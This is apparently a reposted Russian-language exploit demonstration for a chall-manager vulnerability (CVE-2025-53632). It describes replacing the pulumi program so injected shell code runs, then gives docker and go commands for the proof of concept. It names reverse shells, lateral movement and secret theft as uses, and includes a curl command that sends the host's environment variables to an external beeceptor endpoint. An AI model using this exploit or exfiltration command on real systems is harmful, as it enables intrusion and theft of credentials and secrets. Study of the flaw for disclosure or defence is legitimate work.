Используя эту информацию, мы подменим программу pulumi, внедрив некий shell-код перед её выполнением. Поскольку сценарий затем будет проверяться, подменённая программа pulumi будет выполнена, запустив скрипт.

С помощью этого скрипта вы теперь можете открыть reverse shell, перемещаться по инфраструктуре или внутри контейнера, раскрывать секреты (например, содержащиеся в переменных окружения) или даже содержимое заданий (например, флаг задания, если какой-то сценарий не был предварительно собран).

Требования

Для запуска этой демонстрации эксплойта вам понадобятся:

• docker ;
• go.

Эксплойт

1. Запустите chall-manager.

   root@kitploit:~

   docker run --name chall-manager -d -p 8080:8080 ctferio/chall-manager:v0.1.3
   

2. Запустите main.go

   root@kitploit:~

   go run main.go --url localhost:8080
   

   Проявите изобретательность в своём скрипте! Например, можно отправить информацию о системе третьей стороне...

   root@kitploit:~

   go run main.go --url localhost:8080 --script 'curl -d "$(env)" https://app.beeceptor.com/console/cve-2025-53632'
   

   

3. После завершения вы можете остановить демонстрационный Docker-контейнер Chall-Manager.

   root@kitploit:~

   docker stop chall-manager && docker rm $_